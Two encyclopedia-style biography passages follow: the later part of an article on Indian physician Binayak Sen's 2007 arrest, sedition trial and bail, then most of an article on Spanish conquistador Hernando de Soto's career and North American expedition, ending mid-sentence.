announcement remarks "Dr Sen, as an accomplished medical practitioner has distinguished himself by his devotion to providing health services for the poor and by his strong advocacy against human rights violations and structural violence inflicted on the poor in Chhattisgarh, a state in central India."  Arrest in 2007 [ edit ]  On 14 May 2007, Sen was arrested in Bilaspur on the charges of acting as a courier between jailed Naxalite leader Narayan Sanyal (politician) and businessman Piyush Guha, also accused of having links with Naxalites.[25] Sen had met the 70-year-old Sanyal 33 times in Raipur jail, though all the visits were with prior police permission.[26] The Chhattisgarh police also reportedly relied on certain electronic documents to establish a link between Sen and Naxalites.[27]  The evidence presented against Sen included:[28]  A post card dated 3 June 2006, written by Narayan Sanyal to Binayak Sen from Raipur Central Jail, regarding his health and legal case, duly signed by the Jail authorities  A yellow coloured book "On The Unity Between CPI (Peoples' War) and Maoist Communist Centre".  A letter written by Madanlal Banjare of CPI (Maoist) to Binayak Sen.  An article titled "Krantikari Janwadi Morcha (ITF) (Revolutionary People's Front) Vaishvikaran evam Bharatiya Seva Kshetra; (Globalization and the Service Sector in India)  Two articles titled "Naxal Movement, Tribals and Women's Movement" and "How to build an Anti-US Imperialist Front."  The Central Forensic Science Laboratory (CFSL), Hyderabad analysed the contents of Sen's computer during 6–11 June 2007, under the orders of the Session's Court.  On 15 May 2007, Sen was presented before a local court where he was denied the bail and was remanded to judicial custody. On 18 May, he was produced in the Sessions Court, Raipur. The Court ordered a search of Sen's house at Katora Talab in Raipur in presence of independent witnesses and his wife, Ilina Sen. The search was conducted lawfully the next day.[25] His bail plea was again rejected on 25 May, as the Chhattisgarh Police claimed that he was a threat to the security of the State.[25]  Protests [ edit ]  Various delegations of physicians and human rights activists meet chief secretary and law secretary to appeal for Sen's release.[25] The people who were against the bail to Binayak Sen claimed that the protestors were not well versed with the workings of Binayak Sen or the Naxalite-Maoist insurgency.  On 7 June 2007, Sen's wife Ilina Sen wrote a letter to the National Human Rights Commission, stating that the couple's work "has always been in the public sphere and completely overboard [above board] for the last 20 years and more."[29] It protests "the malafide intent of the state of Chhattisgarh in first identifying its victims, and then seeking to build up concocted cases against them." The submission apprehends a campaign of "media vilification" against Ilina Sen.  Amnesty International, which saw the arrest as harassment of a human rights activist, declared his detention in breach of international law. It issued a call to the Government of Chhattisgarh to immediately release Sen, unless he could be charged with a cognisable offence.[30]  On 7 June 2007, the British House of Commons published an Early day motion entitled "Arrest of Dr. Binayak Sen" supported by several members of parliament across party lines, including Diane Abbott (Labour), Peter Bottomley (Conservative), John Hemming (Liberal Democrat), Dai Davies (Independent, Wales), Mike Weir (Scottish NP), among others.[31]  On 9 June 2007, the British Medical Journal published an article about Sen's arrest. It states that Ramesh Gopalakrishnan, of Amnesty International, offered the following comment to BMJ about the supposed charges: "These offences allow sweeping interpretations of criminal intent. Activists in India are arrested all the time on such charges, which give wide, arbitrary powers to police." The same BMJ article reports a protest, outside the Indian High Commission in London, whose organiser is quoted as saying, "Dr Sen is a champion of peace and fair play and an internationally respected medical doctor who has devoted his whole life to peaceful service of the poorest people. He should be released immediately."[32]  Noam Chomsky and several other prominent figures issued a press statement dated 16 June 2007 alleging that "Dr Sen's arrest is clearly an attempt to intimidate PUCL and other democratic voices that have been speaking out against human rights violations in the state."[33]  On 20 June 2007 a delegation from the PUCL met the Chief Minister (CM) of Chhattisgarh state, and objected to Sen being accused of supporting the Naxalites. The delegation insisted that Sen's visits to the jailed Naxalite Narayan Sanyal were for the latter's "medical treatment" and also regarding his legal case. They pointed out that these visits took place in the Raipur jail, following procedures laid down in the jail manual."[34] The PUCL delegation also raised objections about the analysis of Sen's computer in the absence of Sen's advocate and the independent court-appointed witness which they said could have offered the chance to tamper with evidence.[34] The court had ordered on 22 May 2007 that both these observers should be present during the examination of Sen's computer. Nobel laurate economist and thinker Amartya Sen also criticised the Dec 2010 verdict for Sen's imprisonment. He stated that instead of getting his due honour for his service, Sen had met with an unfortunate verdict.[35]  Rejection of Bail [ edit ]  High Court [ edit ]  In July 2007, Sen's bail was rejected by the Chhattisgarh High Court after Police claimed that they had got incriminating evidences against Binayk Sen from his hard disc belonging to him.[25]  Supreme Court [ edit ]  In August 2007, a bench of Justices Ashok Bhan and V. S. Sirpurkar at the Supreme Court of India sought a response from the Chhattisgarh government after senior counsel Soli Sorabjee claimed that Sen was illegally detained since 14 May on fabricated charges of supporting Naxalites.[36] The report stated that the Director General of Police in Chhattisgarh had conceded Sen's peaceful approach however the DGP rejected the suggestion that Sen had been arrested for criticising crimes such as extra-judicial killings in staged "fake encounters". The DGP has stated his belief that "Dalits movements, women empowerment movements, human rights movements, environment protection movements" are all suspect because Naxalites want to penetrate and hijack "movements not linked with CPI."  In December 2007, Supreme Court dismissed Sen's bail petition.[25] The bench comprising Justices Ashok Bhan and D K Jain refused to accept Sen's plea stating that he was only an activist of People's Union for Civil Liberties (PUCL) and was in no way connected with the banned outfit CPI(ML). Bench while rejecting his arguments observed: "You are emphasising too much on PUCL. This does not mean that you are immune. This also does not mean your are not associated with banned activities."'[37][38]  Confinement [ edit ]  Sen was kept in solitary confinement during the period from 15 March to 11 April 2008. The prison authorities stated that this was for his security.[25][39] Sen's wife Ilina stated that he has been isolated from the world during his year of imprisonment, with access to only pro-government newspaper.  On 29 April 2008, Human Rights Watch in New York issued a public statement regarding the trial of Sen due to begin in Raipur on 30 April 2008: "the district court's limit of one supporter of the defendant at the trial is unnecessarily restrictive and raises broader concerns about the fairness of the trial."[40]  The Global Health Council, Harvard School of Public Health, Harvard Medical School and several other prominent global health organisations issued a joint statement of support for Sen, requesting that Indian authorities allow the doctor to receive the Jonathan Mann Award for Health and Human Rights in person in Washington, D.C. on 29 May 2008, at the 35th Annual International Conference on Global Health.[21] The declaration stated: "We would also like to convey our concern and dismay that Dr. Sen remains imprisoned, after nearly one year without trial, on allegations that he passed notes from a rebel leader whom he treated in jail to a person outside the prison. Dr. Sen has denied all wrongdoing and nothing in his character or history, as a dedicated community leader who has urged a peaceful settlement to this conflict for years, would support the accusations made against him. These allegations have not been substantiated or proven and have prevented Dr. Sen from providing his much-needed health services to the poor in his area, as well as his community leadership activities as an officer of the People's Union for Civil Liberties."[41]  Twenty-two Nobel laureates from around the world wrote to India's President and Prime Minister and Chhattisgarh state authorities. They said Sen should be allowed to travel to the US to receive the Jonathan Mann Award for Global Health and Human Rights. "We also wish to express grave concern that Dr Sen appears to be incarcerated solely for peacefully exercising his fundamental human rights," the letter said. This is "in contravention of Articles 19 (freedom of opinion and expression) and 22 (freedom of association) of the International Covenant on Civil and Political Rights – to which India is a state party – and that he is charged under two internal security laws that do not comport with international human rights standards," it added.[42][43]  Doctors across India started holding free clinics for the poor in tribute to the example of Sen and to peacefully campaign for his release.[44]  The Government of India led by the Indian National Congress which is the opposition party in the state of Chhattisgarh reacted strongly to international appeals for the release of Dr Binayak Sen. The Government feels that the issue around Dr Binayak Sen is a well orchestrated campaign and just because he is selected for a western award, does not make him less guilty in their view. The Ministry of Home Affairs (MHA) said that the State Government is right in opposing Dr Sen's appeal.[26]  Trial [ edit ]  On 3 August 2007, Chhattisgarh Police filed charge-sheets under the Chhattisgarh Special Public Security Act 2005 (CSPSA) and the Unlawful Activities (Prevention) Act 1967 in the court of Additional Chief Judicial Magistrate Satyabhama Dubey against Sen.[25] The trial against Binayak Sen began in the trial court in Raipur on 30 May 2008.[25] On 4 May 2008, Supreme Court issued notice to Chhattisgarh government on Sen's bail plea. It asked the state government to provide "best medical aid" to Sen, who is suffering from a heart ailment.[25]  On 11 August 2008, a second bail petition was filed in the Chhattisgarh High Court in Bilaspur.[25] On 21 October, Sen made a public appeal and proposal for peace in South Bastar.[45]  Grant of bail by the Supreme Court [ edit ]  Sen was granted bail on 25 May 2009 by a vacation bench of the Supreme Court comprising Justice Markandey Katju and Justice Deepak Verma as his health conditions were deteriorating.[46]  Conviction, sentencing and bail [ edit ]  On 24 December 2010, the Additional Sessions and District Court Judge B.P Varma Raipur found Binayak Sen, Naxal ideologue Narayan Sanyal and Kolkata businessman Piyush Guha, guilty of sedition for helping the Maoists in their fight against the state. They were sentenced to life imprisonment.[47] Immediately after the sentencing, Dr. Sen's bail was revoked and he was taken back into custody.[48]  Binayak Sen was held guilty under Chhattisgarh Special Public Security Act 2005, Unlawful Activities (Prevention) Act 1967, of being a conduit between Naxals and of meeting Narayan Sanyal in jail. The trio has also been convicted under provisions of section 124A of Indian Penal Code (IPC) (sedition) and 120-B Indian Penal Code (conspiracy).[49]  Binayak Sen's sentence has been condemned both in India[50][51][52] and internationally.[53][54] Nobel Laureate Amartya Sen has condemned the judgement as "unjust".[55]  Against this judgement, Binayak again applied for bail on 6 January 2011. An eight-member delegation of the European Union were present at the court during the entire hearing. On 25 January 2011, the Chhattisgarh High Court heard his bail plea for the second consecutive day and then fixed 9 February for the next hearing. The court denied bail to him during the subsequent hearing.[56][57]  Dr. Sen had moved the apex court challenging the order of the Chhattisgarh High Court which had rejected his bail plea on 10 February 2011.[58] Dr. Sen has sought bail contending that the trial court has erred in convicting him as there was no substantial evidence against him. Human rights and social activists have described Dr. Sen's conviction and sentence as "politically motivated."[59]  The Supreme Court on 11 March 2011 issued notice to the Chhattisgarh government on a petition by rights activist Binayak Sen seeking bail and stay on his life imprisonment imposed by a sessions court for his links with Maoists. A bench of justices H.S. Bedi and C.K. Prasad asked the Chhattisgarh government to file its response within four weeks. The bench passed the order despite counsel for Dr. Sen seeking adjournment of the matter.[60] On 15 April 2011, the Supreme Court of India has granted bail to Dr. Binayak Sen, after questioning the sedition charge against him[11][61][62] and adding that "the question of passing letters or documents does not arise."[63] However the apex court said it was giving no reason for granting bail to 61-year-old Sen and left it to the satisfaction of the trial court concerned to impose the conditions for his release on bail.[64][65]  Media reports said that no evidence of sedition had been produced against the accused by the Chhattisgarh Government.[66] According to The Hindu, one of the two judges told the senior state counsel ""We are a democratic country. He may be a sympathiser. That does not make him guilty of sedition." Drawing an analogy, he asked Mr. Lalit: “if Mahatma Gandhi's autobiography is found in somebody's place, is he a Gandhian? No case of sedition is made out on the basis of materials in possession unless you show that he was actively helping or harbouring them [Maoists].""[67]  The case has generated interests of Indian and foreign NGOs[68][69][70][71] and governments.[72][73][74][75][76][77]  See also [ edit ]  Publications [ edit ]  Minnie Vaid (2011) A Doctor to Defend: The Binayak Sen Story. Publisher: Rajpal PP: 243, ISBN 9788170289272  Publisher: Rajpal PP: 243, ISBN 9788170289272 Ilina Sen, Inside Chhattisgarh: A Political Memoir. Penguin Books India, 2014. ISBN 978-0-143-41404-9. (Ilina Sen is the spouse of Binayak Sen)
-Hernando de Soto (;[4] Spanish: [eɾˈnãndo ðe ˈsoto]; c. 1500 – May 21, 1542) was a Spanish explorer and conquistador who was involved in expeditions in Nicaragua and the Yucatan Peninsula, and played an important role in Pizarro's conquest of the Inca Empire in Peru, but is best known for leading the first Spanish and European expedition deep into the territory of the modern-day United States (through Florida, Georgia, Alabama, Mississippi, and most likely Arkansas). He is the first European documented as having crossed the Mississippi River.[5]  De Soto's North American expedition was a vast undertaking. It ranged throughout the southeastern United States, both searching for gold, which had been reported by various Indian tribes and earlier coastal explorers, and for a passage to China or the Pacific coast. De Soto died in 1542 on the banks of the Mississippi River;[6] different sources disagree on the exact location, whether it was what is now Lake Village, Arkansas, or Ferriday, Louisiana.  Early life [ edit ]  Hernando de Soto was born in Extremadura, Spain, to parents who were both hidalgos, nobility of modest means. The region was poor and many people struggled to survive; young people looked for ways to seek their fortune elsewhere. He was born in Jerez de los Caballeros, in the current province of Badajoz.[1]:135 Three towns—Badajoz, Barcarrota and Jerez de los Caballeros—claim to be his birthplace. He spent time as a child at each place. He stipulated in his will that his body be interred at Jerez de los Caballeros, where other members of his family were buried.[7] As he grew to adulthood, the Spanish took back control of the Iberian peninsula from Islamic forces. Spain and Portugal were filled with young men seeking a chance for military fame after the defeat of the Moors. With discovery of new lands (which they thought at the time to be East Asia) across the ocean to the west, young men were attracted to rumors of adventure, glory and wealth.  In the New World [ edit ]  De Soto sailed to the New World with Pedrarias Dávila, appointed as the first Governor of Panama. In 1520 he participated in Gaspar de Espinosa's expedition to Veragua, and in 1524, he participated in the conquest of Nicaragua under Francisco Hernández de Córdoba. There he acquired an encomienda and a public office in León, Nicaragua.[1]:135  Brave leadership, unwavering loyalty, and ruthless schemes for the extortion of native villages for their captured chiefs became de Soto's hallmarks during the conquest of Central America. He gained fame as an excellent horseman, fighter, and tactician. During that time, de Soto was influenced by the achievements of Spanish explorers: Juan Ponce de León, the first European to reach Florida; Vasco Núñez de Balboa, the first European to reach the Pacific Ocean coast of the Americas (he called it the "South Sea" on the south coast of Panama); and Ferdinand Magellan, who first sailed that ocean to East Asia.  In 1530, de Soto became a regidor of León, Nicaragua. He led an expedition up the coast of the Yucatán Peninsula searching for a passage between the Atlantic Ocean and the Pacific Ocean to enable trade with the Orient, the richest market in the world. Failing that, and without means to explore further, de Soto, upon Pedro Arias Dávila's death, left his estates in Nicaragua. Bringing his own men on ships which he hired, de Soto joined Francisco Pizarro at his first base of Tumbes shortly before departure for the interior of present-day Peru.[8]:143  Pizarro quickly made de Soto one of his captains.[1]:171  Conquest of Peru [ edit ]  When Pizarro and his men first encountered the army of Inca Atahualpa at Cajamarca, Pizarro sent de Soto with fifteen men to invite Atahualpa to a meeting. When Pizarro's men attacked Atahualpa and his guard the next day (the Battle of Cajamarca), de Soto led one of the three groups of mounted soldiers. The Spanish captured Atahualpa. De Soto was sent to the camp of the Inca army, where he and his men plundered Atahualpa's tents.[9]  During 1533, the Spanish held Atahualpa captive in Cajamarca for months while his subjects paid for his ransom by filling a room with gold and silver objects. During this captivity, de Soto became friendly with Atahualpa and taught him to play chess. By the time the ransom had been completed, the Spanish became alarmed by rumors of an Inca army advancing on Cajamarca. Pizarro sent de Soto with 200 soldiers to scout for the rumored army.[10]  While de Soto was gone, the Spanish in Cajamarca decided to kill Atahualpa to prevent his rescue. De Soto returned to report that he found no signs of an army in the area. After executing Atahualpa, Pizarro and his men headed to Cuzco, the capital of the Incan Empire. As the Spanish force approached Cuzco, Pizarro sent his brother Hernando and de Soto ahead with 40 men. The advance guard fought a pitched battle with Inca troops in front of the city, but the battle had ended before Pizarro arrived with the rest of the Spanish party. The Inca army withdrew during the night. The Spanish plundered Cuzco, where they found much gold and silver. As a mounted soldier, de Soto received a share of the plunder, which made him very wealthy. It represented riches from Atahualpa's camp, his ransom, and the plunder from Cuzco.[11]  On the road to Cuzco, Manco Inca Yupanqui, a brother of Atahualpa, had joined Pizarro. Manco had been hiding from Atahualpa in fear of his life, and was happy to gain Pizarro's protection. Pizarro arranged for Manco to be installed as the Inca leader. De Soto joined Manco in a campaign to eliminate the Inca armies under Quizquiz, who had been loyal to Atahualpa.[12]:66–67,70–73  By 1534, de Soto was serving as lieutenant governor of Cuzco while Pizarro was building his new capital on the coast; it later became known as Lima. In 1535 King Charles awarded Diego de Almagro, Francisco Pizarro's partner, the governorship of the southern portion of the Inca Empire. When de Almagro made plans to explore and conquer the southern part of the Inca empire (now Chile), de Soto applied to be his second-in-command, but de Almagro turned him down. De Soto packed up his treasure and returned to Spain.[1]:367,370–372,375,380–381,396  Return to Spain [ edit ]  De Soto returned to Spain in 1536,[1]:135 with wealth gathered from plunder in the Spanish conquest of the Inca Empire. He was admitted into the prestigious Order of Santiago and "granted the right to conquer Florida".[1]:135 His share was awarded to him by the King of Spain, and he received 724 marks of gold, 17,740 pesos.[13] He married Isabel de Bobadilla, daughter of Pedrarias Dávila and a relative of a confidante of Queen Isabella.  De Soto petitioned King Charles to lead the government of Guatemala, with "permission to create discovery in the South Sea." He was granted the governorship of Cuba instead. De Soto was expected to colonize the North American continent for Spain within four years, for which his family would be given a sizable piece of land.  Fascinated by the stories of Cabeza de Vaca, who had survived years in North America after becoming a castaway and had just returned to Spain, de Soto selected 620 Spanish and Portuguese volunteers, including some of mixed-race African descent known as Atlantic Creoles, to accompany him to govern Cuba and colonize North America. Averaging 24 years of age, the men embarked from Havana on seven of the King's ships and two caravels of de Soto's. With tons of heavy armor and equipment, they also carried more than 500 heads of livestock, including 237 horses and 200 pigs, for their planned four-year continental expedition.  De Soto wrote a new will before embarking on his travels. On 10 May 1539, he wrote in his will:  That a chapel be erected within the Church of San Miguel in Jerez de Los Caballeros, Spain, where De Soto grew up, at a cost of 2,000 ducats, with an altarpiece featuring the Virgin Mary, Our Lady of the Conception, that his tomb be covered in a fine black broadcloth topped by a red cross of the Order of the Knights of Santiago, and on special occasions a pall of black velvet with the De Soto coat of arms be placed on the altar; that a chaplain be hired at the salary of 12,000 maravedis to perform five masses every week for the souls of De Soto, his parents, and wife; that thirty masses be said for him the day his body was interred, and twenty for our Lady of the Conception, ten for the Holy Ghost, sixty for souls in purgatory and masses for many others as well; that 150000 maravedis be given annually to his wife Isabel for her needs and an equal amount used yearly to marry off three orphan damsels...the poorest that can be found," to assist his wife and also serve to burnish the memory of De Soto as a man of charity and substance.[14]  De Soto's exploration of North America [ edit ]  Historiography [ edit ]  Historians have worked to trace the route of de Soto's expedition in North America, a controversial process over the years.[16] Local politicians vied to have their localities associated with the expedition. The most widely used version of "De Soto's Trail" comes from a study commissioned by the United States Congress. A committee chaired by the anthropologist John R. Swanton published The Final Report of the United States De Soto Expedition Commission in 1939. Among other locations, Manatee County, Florida, claims an approximate landing site for de Soto and has a national memorial recognizing that event.[17] In the early 21st century, the first part of the expedition's course, up to de Soto's battle at Mabila (a small fortress town in present-day central Alabama[18]), is disputed only in minor details. His route beyond Mabila is contested. Swanton reported the de Soto trail ran from there through Mississippi, Arkansas, and Texas.  Historians have more recently considered archeological reconstructions and the oral history of the various Native American peoples who recount the expedition.[citation needed] Most historical places have been overbuilt and much evidence has been lost.[citation needed] More than 450 years have passed between the events and current history tellers, but some oral histories have been found to be highly accurate about historic events that have been otherwise documented.[citation needed]  The Governor Martin Site at the former Apalachee village of Anhaica, located about a mile east of the present Florida capital in Tallahassee, has been documented as definitively associated with de Soto's expedition. The Governor Martin Site was discovered by archaeologist B. Calvin Jones in March 1987. It has been preserved as the DeSoto Site Historic State Park.  The Hutto/Martin Site, 8MR3447, in southeastern Marion County, Florida, on the Ocklawaha River, is the most likely site of the principal town of Acuera referred to in the accounts of the entrada, as well as the site of the seventeenth-century mission of Santa Lucia de Acuera.[19][20]  As of 2016, the Richardson/UF Village site (8AL100) in Alachua County, west of Orange Lake, appears to have been accepted by archaeologists as the site of the town of Potano visited by the de Soto expedition. The 17th-century mission of San Buenaventura de Potano is believed to have been founded here.[21]  Many archaeologists believe the Parkin Site in northeast Arkansas was the main town for the indigenous province of Casqui, which de Soto had recorded. They base this on similarities between descriptions from the journals of the de Soto expedition and artifacts of European origin discovered at the site in the 1960s.[22][23]  Theories of de Soto's route are based on the accounts of four chroniclers of the expedition.  The first account of the expedition to be published was by the Gentleman of Elvas, an otherwise unidentified Portuguese knight who was a member of the expedition. His chronicle was first published in 1557. An English translation by Richard Hakluyt was published in 1609. [24]  Luys Hernández de Biedma, the King's factor (the agent responsible for the royal property) with the expedition, wrote a report which still exists. The report was filed in the royal archives in Spain in 1544. The manuscript was translated into English by Buckingham Smith and published in 1851. [25]  De Soto's secretary, Rodrigo Ranjel, kept a diary, which has been lost. It was apparently used by Gonzalo Fernández de Oviedo y Valdés in writing his La historia general y natural de las Indias . Oviedo died in 1557. The part of his work containing Ranjel's diary was not published until 1851. An English translation of Ranjel's report was first published in 1904.  . Oviedo died in 1557. The part of his work containing Ranjel's diary was not published until 1851. An English translation of Ranjel's report was first published in 1904. The fourth chronicle is by Garcilaso de la Vega, known as El Inca (the Inca). Garcilaso de la Vega did not participate in the expedition. He wrote his account, La Florida, known in English as The Florida of the Inca, decades after the expedition, based on interviews with some survivors of the expedition. The book was first published in 1605. Historians have identified problems with using La Florida as a historical account. Milanich and Hudson warn against relying on Garcilaso, noting serious problems with the sequence and location of towns and events in his narrative. They say, "some historians regard Garcilaso's La Florida to be more a work of literature than a work of history."[26] Lankford characterizes Garcilaso's La Florida as a collection of "legend narratives", derived from a much-retold oral tradition of the survivors of the expedition.[27]  Milanich and Hudson warn that older translations of the chronicles are often "relatively free translations in which the translators took considerable liberty with the Spanish and Portuguese text."[28]  The chronicles describe de Soto's trail in relation to Havana, from which they sailed; the Gulf of Mexico, which they skirted while traveling inland then turned back to later; the Atlantic Ocean, which they approached during their second year; high mountains, which they traversed immediately thereafter; and dozens of other geographic features along their way, such as large rivers and swamps, at recorded intervals. Given that the natural geography has not changed much since de Soto's time, scholars have analyzed those journals with modern topographic intelligence, to develop a more precise account of the De Soto Trail.[15][29]  1539: Florida [ edit ]  The Spanish caption reads:  "HERNANDO DE SOTO: Extremaduran, one of the discoverers and conquerors of Peru: he travelled across all of Florida and defeated its previously invincible natives, he died on his expedition in the year 1542 at the age of 42". Library of Congress ' engraving.The Spanish caption reads:"HERNANDO DE SOTO: Extremaduran, one of the discoverers and conquerors of Peru: he travelled across all of Florida and defeated its previously invincible natives, he died on his expedition in the year 1542 at the age of 42".  In May 1539, de Soto landed nine ships with over 620 men[30] and 220 horses in an area generally identified as south Tampa Bay. Historian Robert S. Weddle has suggested that he landed at either Charlotte Harbor or San Carlos Bay.[31] He named the land as Espíritu Santo after the Holy Spirit. The ships carried priests, craftsmen, engineers, farmers, and merchants; some with their families, some from Cuba, most from Europe and Africa. Few of the men had traveled before outside of Spain, or even away from their home villages.  Near de Soto's port, the party found Juan Ortiz, a Spaniard living with the Mocoso people. Ortiz had been captured by the Uzita while searching for the lost Narváez expedition; he later escaped to Mocoso. Ortiz had learned the Timucua language and served as an interpreter to de Soto as he traversed the Timucuan-speaking areas on his way to Apalachee.[32]  Ortiz developed a method for guiding the expedition and communicating with the various tribes, who spoke many dialects and languages. He recruited guides from each tribe along the route. A chain of communication was established whereby a guide who had lived in close proximity to another tribal area was able to pass his information and language on to a guide from a neighboring area. Because Ortiz refused to dress as an hidalgo Spaniard, other officers questioned his motives. De Soto remained loyal to Ortiz, allowing him the freedom to dress and live among his native friends. Another important guide was the seventeen-year-old boy Perico, or Pedro, from what is now Georgia. He spoke several of the local tribes' languages and could communicate with Ortiz. Perico was taken as a guide in 1540. The Spanish had also captured other Indians, whom they used as slave labor.[clarification needed] Perico was treated better due to his value to the Spaniards.  The expedition traveled north, exploring Florida's West Coast, and encountering native ambushes and conflicts along the way. De Soto's first winter encampment was at Anhaica, the capital of the Apalachee people. It is one of the few places on the route where archaeologists have found physical traces of the expedition. The chroniclers described this settlement as being near the "Bay of Horses". The bay was named for events of the 1527 Narváez expedition. Starving and struggling to escape the Florida peninsula, the decreasing number of survivors killed and ate their horses while building boats for escape by the Gulf of Mexico.  1540: The Southeast [ edit ]  From their winter location in the western panhandle of Florida, having heard of gold being mined "toward the sun's rising", the expedition turned northeast through what is now the modern state of Georgia.[33][34] Based on archaeological finds made in 2009 at a remote, privately owned site near the Ocmulgee River, researchers believe that de Soto's expedition stopped in Telfair County. Artifacts found here include nine glass trade beads, some of which bear a chevron pattern made in Venice for a limited period of time and believed to be indicative of the de Soto expedition. Six metal objects were also found, including a silver pendant and some iron tools. The rarest items were found within what researchers believe was a large council house of the indigenous people whom de Soto was visiting.[35][36]  The expedition continued to present-day South Carolina. There the expedition recorded being received by a female chief (Cofitachequi), who gave her tribe's pearls, food and other goods to the Spanish soldiers. The expedition found no gold, however, other than pieces from an earlier coastal expedition (presumably that of Lucas Vázquez de Ayllón.)  De Soto headed north into the Appalachian Mountains of present-day western North Carolina, where he spent a month resting the horses while his men searched for gold. De Soto next entered eastern Tennessee. At this point, De Soto either continued along the Tennessee River to enter Alabama from the north (according to John R. Swanton), or turned south and entered northern Georgia (according to Charles M. Hudson). The route that Swanton proposed in 1939 is still generally accepted by most archaeologists and by the U.S. government as the route of the de Soto expedition.[citation needed].  De Soto's expedition spent another month in the Coosa chiefdom, believed to have been connected to the large and complex Mississippian culture, which extended throughout the Mississippi Valley and its tributaries. He turned south toward the Gulf of Mexico to meet two ships bearing fresh supplies from Havana. Along the way, de Soto was led into Mauvila (or Mabila), a fortified city in southern Alabama.[37] The Mobilian tribe, under chief Tuskaloosa, ambushed de Soto's army.[37] Other sources suggest de Soto's men were attacked after attempting to force their way into a cabin occupied by Tuskaloosa.[38] The Spaniards fought their way out, and retaliated by burning the town to the ground. During the nine-hour encounter, about 200 Spaniards died, and 150 more were badly wounded, according to the chronicler Elvas.[39] Twenty more died during the next few weeks. They killed an estimated 2,000-6,000 warriors at Mabila, making the battle one of the bloodiest in recorded North American history.[40]  The Spaniards won a Pyrrhic victory, as they had lost most of their possessions and nearly one-quarter of their horses. The Spaniards were wounded and sickened, surrounded by enemies and without equipment in an unknown territory.[38] Fearing that word of this would reach Spain if his men reached the ships at Mobile Bay, de Soto led them away from the Gulf Coast. He moved into inland Mississippi, most likely near present-day Tupelo, where they spent the winter.  1541: Westward [ edit ]  In the spring of 1541, de Soto demanded 200 men as porters from the Chickasaw.[citation needed] They refused his demand and attacked the Spanish camp during the night. The Spaniards lost about 40 men and the remainder of their limited equipment. According to participating chroniclers, the expedition could have been destroyed at this point, but the Chickasaw let them go.[citation needed]  On May 8, 1541, de Soto's troops reached the Mississippi River.[5]  De Soto had little interest in the river, which in his view was an obstacle to his mission. There has been considerable research into the exact location where de Soto crossed the Mississippi River. A commission appointed by Franklin D. Roosevelt in 1935 determined that Sunflower Landing, Mississippi, was the "most likely" crossing place. De Soto and his men spent a month building flatboats, and crossed the river at night to avoid the Native Americans who were patrolling the river. De Soto had hostile relations with the native people in this area.[41][42]  In the late 20th century, research suggests other locations may have been the site of de Soto's crossing, including three locations in Mississippi: Commerce, Friars Point, and Walls, as well as Memphis, Tennessee.[43] Once across the river, the expedition continued traveling westward through modern-day Arkansas, Oklahoma, and Texas. They wintered in Autiamique, on the Arkansas River.[citation needed]  After a harsh winter, the Spanish expedition decamped and moved on more erratically. Their interpreter Juan Ortiz had died, making it more difficult for them to get directions and food sources, and generally to communicate with the Natives. The expedition went as far inland as the Caddo River, where they clashed with a Native American tribe called the Tula in October 1541.[44] The Spaniards characterized them as the most skilled and dangerous warriors they had encountered.[45] This may have happened in the area of present-day Caddo Gap, Arkansas (a monument to the de Soto expedition was erected in that community). Eventually, the Spaniards returned to the Mississippi River.  Death [ edit ]  Burial of de Soto  De Soto died of a fever on May 21, 1542, in the native village of Guachoya (historical sources disagree as to whether de Soto died near present-day McArthur, Arkansas, or in Louisiana)[46] on the western bank of the Mississippi.[47] Louisiana erected a historical marker at the estimated site.  Before his death, de Soto chose Luis de Moscoso Alvarado, his former maestro de campo (or field commander), to assume command of the expedition.[48] At the time of death, de Soto owned four Indian slaves, three horses, and 700 hogs.[49]  De Soto had encouraged the local natives to believe that he was a deity, specifically an "immortal Son of the Sun"[50] (as a ploy to gain their submission without conflict). Some of the natives had already become skeptical of de Soto's deity claims. But his men were anxious to conceal his death. The actual site of his burial is not known. According to one source, de Soto's men hid his corpse in blankets weighted with sand and sank it in the middle of the Mississippi River during the night.[46]  Return of the expedition to Mexico City [ edit ]  De Soto's expedition had explored La Florida for three years without finding the expected treasures or a hospitable site for colonization. They had lost nearly half their men, and most of the horses. By this time, the soldiers were wearing animal skins for clothing. Many were injured and in poor health. The leaders came to a consensus (although not total) to end the expedition and try to find a way home, either down the Mississippi River, or overland across Texas to the Spanish colony of Mexico City.  They decided that building boats would be too difficult and time-consuming, and that navigating the Gulf of Mexico was too risky, so they headed overland to the southwest. Eventually they reached a region in present-day Texas that was dry. The native populations were made up mostly of subsistence hunter-gatherers. The soldiers found no villages to raid for food, and the army was still too large to live off the land. They were forced to backtrack to the more developed agricultural regions along the Mississippi, where they began building seven bergantines, or pinnaces.[48] They melted down all the iron, including horse tackle and slave shackles, to make nails for the boats. They survived through the winter, and the spring floods delayed them another two months. By July they set off on their makeshift boats down the Mississippi for the coast.  Taking about two weeks to make the journey, the expedition encountered hostile fleets of war canoes along the whole course. The first was led by the powerful paramount chief Quigualtam, whose fleet followed the boats, shooting arrows at the soldiers for days on end as they drifted through their territory. The Spanish had no effective offensive weapons on the water, as their crossbows had long ceased working. They relied on armor and sleeping mats to block the arrows. About 11 Spaniards were killed along this stretch and many more wounded.  On reaching the mouth of the Mississippi, they stayed close to the Gulf shore heading south and west. After about 50 days, they made it to the Pánuco River and the Spanish frontier town of Pánuco. There they rested for about a month. During this time many of the Spaniards, having safely returned and reflecting on their accomplishments, decided they had left La Florida too soon. There were some fights within the company, leading to some deaths. But, after they reached Mexico City and Viceroy Don Antonio de Mendoza offered to lead another expedition to La Florida, few of the survivors volunteered. Of the recorded 700 participants at the start, between 300 and 350 survived (311 is a commonly accepted figure). Most of the men stayed in the New World, settling in Mexico, Peru, Cuba, and other Spanish colonies.  Effects of expedition in North America [ edit ]  The Spanish believed that de Soto's excursion to Florida was a failure. They acquired neither gold nor prosperity and founded no colonies. But the expedition had several major consequences.  It contributed to the process of the Columbian Exchange. For instance, some of the swine brought by de Soto escaped and became the ancestors of feral razorback pigs in the southeastern United States.[51][52][53][54][55]  De Soto was instrumental in contributing to the development of a hostile relationship between many Native American tribes and Europeans. When his expedition encountered hostile natives in the new lands, more often than not it was his men who instigated the clashes.[56]  More devastating than the battles were the chronic diseases carried by the members of the expedition. Because the indigenous people lacked the immunity which the Europeans had acquired through generations of exposure to these Eurasian diseases, the Native Americans suffered epidemics of illness after exposure to such diseases as measles, smallpox, and chicken pox. Several areas traversed by the expedition became depopulated by disease caused by contact with the Europeans. Seeing the high fatalities and devastation caused, many natives fled the populated areas for the surrounding hills and swamps. In some areas, the social structure changed because of high population losses due to epidemics.[57]  The records of the expedition contributed greatly to European knowledge about the geography, biology, and ethnology of the New World. The de Soto expedition's descriptions of North American natives are the earliest-known source of information about the societies in the Southeast. They are the only European description of the culture and habits of North American native tribes before these peoples encountered other 